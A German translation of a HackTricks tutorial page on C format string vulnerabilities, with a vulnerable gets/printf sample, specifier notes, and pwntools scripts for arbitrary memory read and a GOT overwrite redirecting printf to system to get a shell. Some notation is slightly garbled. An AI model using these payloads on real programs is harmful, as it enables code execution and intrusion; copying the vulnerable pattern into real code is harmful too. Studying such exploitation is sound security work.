hacktricks/binary-exploitation/format-strings
2024-04-07 03:07:20 +00:00
..
format-strings-template.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 03:07:20 +00:00
README.md Translated ['README.md', 'binary-exploitation/arbitrary-write-2-exec/aw2 2024-04-07 03:07:20 +00:00

Format Strings

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Grundlegende Informationen

In C ist printf eine Funktion, die verwendet werden kann, um einen String zu drucken. Der erste Parameter, den diese Funktion erwartet, ist der rohe Text mit den Formatierern. Die folgenden erwarteten Parameter sind die Werte, die die Formatierer des Rohtexts ersetzen sollen.

Die Verwundbarkeit tritt auf, wenn ein Angreifertext als erster Argument dieser Funktion verwendet wird. Der Angreifer kann einen speziellen Eingabe missbrauchen, um die Fähigkeiten der printf-Formatzeichenfolge zu nutzen, um Daten zu lesen und in jede Adresse zu schreiben (lesbar/schreibbar). Auf diese Weise kann er beliebigen Code ausführen.

Formatierer:

%08x —> 8 hex bytes
%d —> Entire
%u —> Unsigned
%s —> String
%n —> Number of written bytes
%hn —> Occupies 2 bytes instead of 4
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3

Beispiele:

  • Verwundbares Beispiel:
char buffer[30];
gets(buffer);  // Dangerous: takes user input without restrictions.
printf(buffer);  // If buffer contains "%x", it reads from the stack.
  • Normale Verwendung:
int value = 1205;
printf("%x %x %x", value, value, value);  // Outputs: 4b5 4b5 4b5
  • Mit fehlenden Argumenten:
printf("%x %x %x", value);  // Unexpected output: reads random values from the stack.

Zugriff auf Zeiger

Das Format %<n>$x, wobei n eine Zahl ist, ermöglicht es printf anzuzeigen, den n-ten Parameter (vom Stack) auszuwählen. Wenn Sie also den vierten Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun:

printf("%x %x %x %x")

und Sie würden vom ersten bis zum vierten Parameter lesen.

Oder Sie könnten Folgendes tun:

printf("$4%x")

und lesen Sie direkt den vierten.

Beachten Sie, dass der Angreifer den printf-Parameter kontrolliert, was im Grunde bedeutet, dass seine Eingabe im Stapel ist, wenn printf aufgerufen wird, was bedeutet, dass er spezifische Speicheradressen im Stapel schreiben könnte.

{% hint style="danger" %} Ein Angreifer, der diese Eingabe kontrolliert, kann beliebige Adressen im Stapel hinzufügen und printf dazu bringen, darauf zuzugreifen. Im nächsten Abschnitt wird erläutert, wie dieses Verhalten genutzt werden kann. {% endhint %}

Beliebiges Lesen

Es ist möglich, den Formatter $n%s zu verwenden, um printf die Adresse zu erhalten, die sich an der n-Position befindet, und sie dann als Zeichenfolge auszugeben (ausgeben, bis eine 0x00 gefunden wird). Wenn die Basisadresse der Binärdatei 0x8048000 ist und wir wissen, dass die Benutzereingabe in der 4. Position im Stapel beginnt, ist es möglich, den Anfang der Binärdatei mit auszugeben:

from pwn import *

p = process('./bin')

payload = b'%6$p' #4th param
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
payload += p32(0x8048000) #6th param

p.sendline(payload)
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'

{% hint style="danger" %} Beachten Sie, dass Sie die Adresse 0x8048000 nicht am Anfang der Eingabe platzieren können, da die Zeichenkette am Ende dieser Adresse mit 0x00 abgeschnitten wird. {% endhint %}

Willkürliches Schreiben

Der Formatter $<num>%n schreibt die Anzahl der geschriebenen Bytes in die angegebene Adresse im <num> Parameter im Stack. Wenn ein Angreifer so viele Zeichen wie möglich mit printf schreiben kann, kann er $<num>%n dazu bringen, eine beliebige Zahl an einer beliebigen Adresse zu schreiben.

Glücklicherweise ist es nicht erforderlich, 9999 "A"s zur Eingabe hinzuzufügen, um die Zahl 9999 zu schreiben. Es ist möglich, den Formatter %.<num-write>%<num>$n zu verwenden, um die Zahl <num-write> in die Adresse zu schreiben, die durch die Position num angegeben ist.

AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
AAAA.%500\$08x —> Param at offset 500

Jedoch ist zu beachten, dass normalerweise zur Angabe einer Adresse wie 0x08049724 (was eine RIESIGE Zahl ist, um sie auf einmal zu schreiben) $hn anstelle von $n verwendet wird. Dies ermöglicht es, nur 2 Bytes zu schreiben. Daher wird dieser Vorgang zweimal durchgeführt, einmal für die höchsten 2 Bytes der Adresse und ein weiteres Mal für die niedrigeren.

Daher ermöglicht diese Schwachstelle das Schreiben beliebiger Daten an beliebige Adressen (beliebiges Schreiben).

In diesem Beispiel soll das Ziel sein, die Adresse einer Funktion in der GOT-Tabelle zu überschreiben, die später aufgerufen wird. Obwohl dies auch andere Techniken zum Ausführen beliebiger Schreibvorgänge missbrauchen könnte:

{% content-ref url="../arbitrary-write-2-exec/" %} arbitrary-write-2-exec {% endcontent-ref %}

Wir werden eine Funktion überschreiben, die ihre Argumente vom Benutzer erhält, und sie auf die system-Funktion umleiten.
Wie bereits erwähnt, sind in der Regel 2 Schritte erforderlich, um die Adresse zu schreiben: Sie schreiben zuerst 2 Bytes der Adresse und dann die anderen 2. Dazu wird $hn verwendet.

  • HOB bezieht sich auf die 2 höheren Bytes der Adresse
  • LOB bezieht sich auf die 2 niedrigeren Bytes der Adresse

Dann, aufgrund der Funktionsweise von Formatstrings, müssen Sie zuerst das kleinere der beiden [HOB, LOB] schreiben und dann das andere.

Wenn HOB < LOB
[Adresse+2][Adresse]%.[HOB-8]x%[Offset]\$hn%.[LOB-HOB]x%[Offset+1]

Wenn HOB > LOB
[Adresse+2][Adresse]%.[LOB-8]x%[Offset+1]\$hn%.[HOB-LOB]x%[Offset]

HOB LOB HOB_Shellcode-8 NºParam_dir_HOB LOB_Shell-HOB_Shell NºParam_dir_LOB

{% code overflow="wrap" %}

python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'

{% endcode %}

Pwntools Vorlage

Sie können eine Vorlage finden, um einen Exploit für diese Art von Schwachstelle vorzubereiten unter:

{% content-ref url="format-strings-template.md" %} format-strings-template.md {% endcontent-ref %}

Oder dieses grundlegende Beispiel von hier:

from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()

Format Strings zu BOF

Es ist möglich, die Schreibaktionen einer Format-String-Schwachstelle zu missbrauchen, um Adressen des Stacks zu schreiben und eine Schwachstelle vom Typ Buffer Overflow auszunutzen.

Weitere Beispiele & Referenzen